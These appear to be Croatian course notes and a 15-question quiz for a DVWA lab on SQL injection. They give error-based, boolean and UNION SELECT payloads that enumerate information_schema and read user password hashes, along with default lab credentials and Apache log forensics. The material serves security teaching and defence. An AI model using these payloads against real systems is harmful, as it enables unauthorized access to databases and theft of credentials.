SQL Injection — tijek napada (Error → Boolean → UNION SELECT)
DVWA — testno okruženje
DVWA (Damn Vulnerable Web Application) je namjerno ranjiva web aplikacija za vježbanje napada. Hostirano na dvwa.structureality.com na LAMP stacku (Linux, Apache, MySQL/MariaDB, PHP).
Razine sigurnosti DVWA
- Low — bez ikakve zaštite (za vježbanje)
- Medium — neka zaštita (escape funkcije)
- High — jača zaštita
- Impossible — parametrizirani upiti (prava zaštita)
SQL Injection — koncept
SQLi napad ubacuje SQL kod u polje koje se direktno spaja u upit bez sanitizacije. Napadač može:
- Čitati podatke iz baze
- Modificirati ili brisati podatke
- Izvršiti OS naredbe (u nekim konfiguracijama)
Error-based SQL Injection
Napadač uzrokuje SQL grešku koja otkriva informacije o bazi podataka.
Primjer — otkrivanje baze podataka
Unos jednostrukog navodnika u User ID polje:
' Generirani SQL upit postaje nevažeći, a poruka greške otkriva:
- Tip baze: MariaDB (MySQL fork)
- Sintaksu upita koji se izvodi
- Ime tablice ili stupca
Boolean SQL Injection
Uvijek-istinit payload
1' or '1'='1 Modificira WHERE uvjet:
WHERE id='1' OR '1'='1' Budući da je '1'='1' uvijek istinito, vraća sve zapise iz tablice.
ORDER BY — određivanje broja stupaca
1' ORDER BY 1##
1' ORDER BY 2##
1' ORDER BY 3## ## komentira ostatak upita. Ako ORDER BY 3 daje grešku, a ORDER BY 2 uspijeva — upit vraća 2 stupca.
UNION SELECT napadi
UNION SELECT dodaje rezultate drugog SELECT upita, omogućujući čitanje podataka iz bilo koje tablice.
Korak po korak — UNION SELECT
- Otkrivanje verzije baze:
1' UNION SELECT @@version, NULL## - Popis svih baza podataka:
1' UNION SELECT table_schema, table_name FROM information_schema.tables## - Popis stupaca tablice users:
1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'## - Čitanje lozinki:
1' UNION SELECT user, password FROM users##
information_schema
Posebna MySQL/MariaDB baza koja sadrži metapodatke o svim bazama, tablicama i stupcima.
information_schema.tables— popis tablicainformation_schema.columns— popis stupaca- Dostupna svim korisnicima (read-only)
DVWA users tablica
Stupci: user_id, first_name, last_name, user, password, avatar, last_login, failed_login
Tablice u dvwa bazi: guestbook i users
Lozinke su pohranjene kao MD5 hashevi — mogu se crackat.
Apache access logovi
SQL injection napadi ostavljaju trag u web server logovima — ključan izvor za forenzičku analizu.
Apache Combined Log Format
/var/log/apache2/access.log Format zapisa:
[IP] [identd] [user] [datetime] "[method URL protocol]" [status] [bytes] "[referer]" "[user-agent]" URL enkodiranje u logovima: %27 = jednostruki navodnik ('). SQLi napadi lako prepoznatljivi po %27, OR, UNION, SELECT u URL-u.
- DVWA login: admin / password | razina: Low (default, bez zaštite)
- DVWA URL forma: ?id=1&Submit=Submit## — otkriva varijable u upitu
- Error-based SQLi: unos ' uzrokuje grešku koja otkriva tip baze (MariaDB)
- Boolean SQLi: 1' or '1'='1 vraća SVE zapise (tautology = uvijek true)
- ORDER BY N## testira broj stupaca; greška pri N → N-1 stupaca u originalu
- ## = MySQL end-of-line komentar; -- je alternativa u drugima
- information_schema = metapodaci o svim bazama, tablicama, stupcima
- @@version = sistemska varijabla za verziju MariaDB; u labu: 10.5.19-MariaDB
- DVWA users tablica: user_id, first_name, last_name, user, password (MD5!)
- Apache log: %27 = ', %3D = =, %20 = razmak — URL enkoding u logovima
- Jedina prava zaštita od SQLi = Prepared Statements / Parametrizirani upiti
Kviz — 15 pitanja
1. Što znači skraćenica DVWA?
2. Koji unos u polje User ID uzrokuje SQL grešku koja otkriva tip baze?
' prekida SQL string, čineći upit sintaktički nevažećim. Poruka greške često otkriva tip baze (MySQL, MariaDB, MSSQL), verziju i strukturu upita — kritična informacija za daljnje napade.3. Koji tip baze podataka koristi DVWA na dvwa.structureality.com?
4. Zašto payload 1' or '1'='1 vraća sve zapise iz tablice?
5. Zašto se koristi ORDER BY 1##, ORDER BY 2##, itd. u SQLi?
6. Koja MySQL varijabla/funkcija daje trenutnu verziju baze podataka?
7. Koja SQL tablica sadrži metapodatke o svim bazama, tablicama i stupcima u MySQL/MariaDB?
8. Koje tablice se nalaze u DVWA dvwa bazi podataka?
9. Gdje se nalaze Apache access logovi na Linux sustavu?
10. Što znači %27 u Apache access logu?
11. Koji format koriste Apache access logovi za evidentiranje zahtjeva?
12. Koja je jedina prava zaštita od SQL injectiona prema DVWA "Impossible" razini?
13. Koji su defaultni podaci za prijavu na DVWA i na kojoj sigurnosnoj razini se vježba u labu?
14. ' ORDER BY 3## daje grešku "Unknown column '3' in 'order clause'", a ' ORDER BY 2## uspijeva. Koliko stupaca vraća originalni SELECT upit?
15. Payload 1' or '1'='1 u DVWA vratio je 5 korisnika. Koji od navedenih NIJE pravi korisnički račun?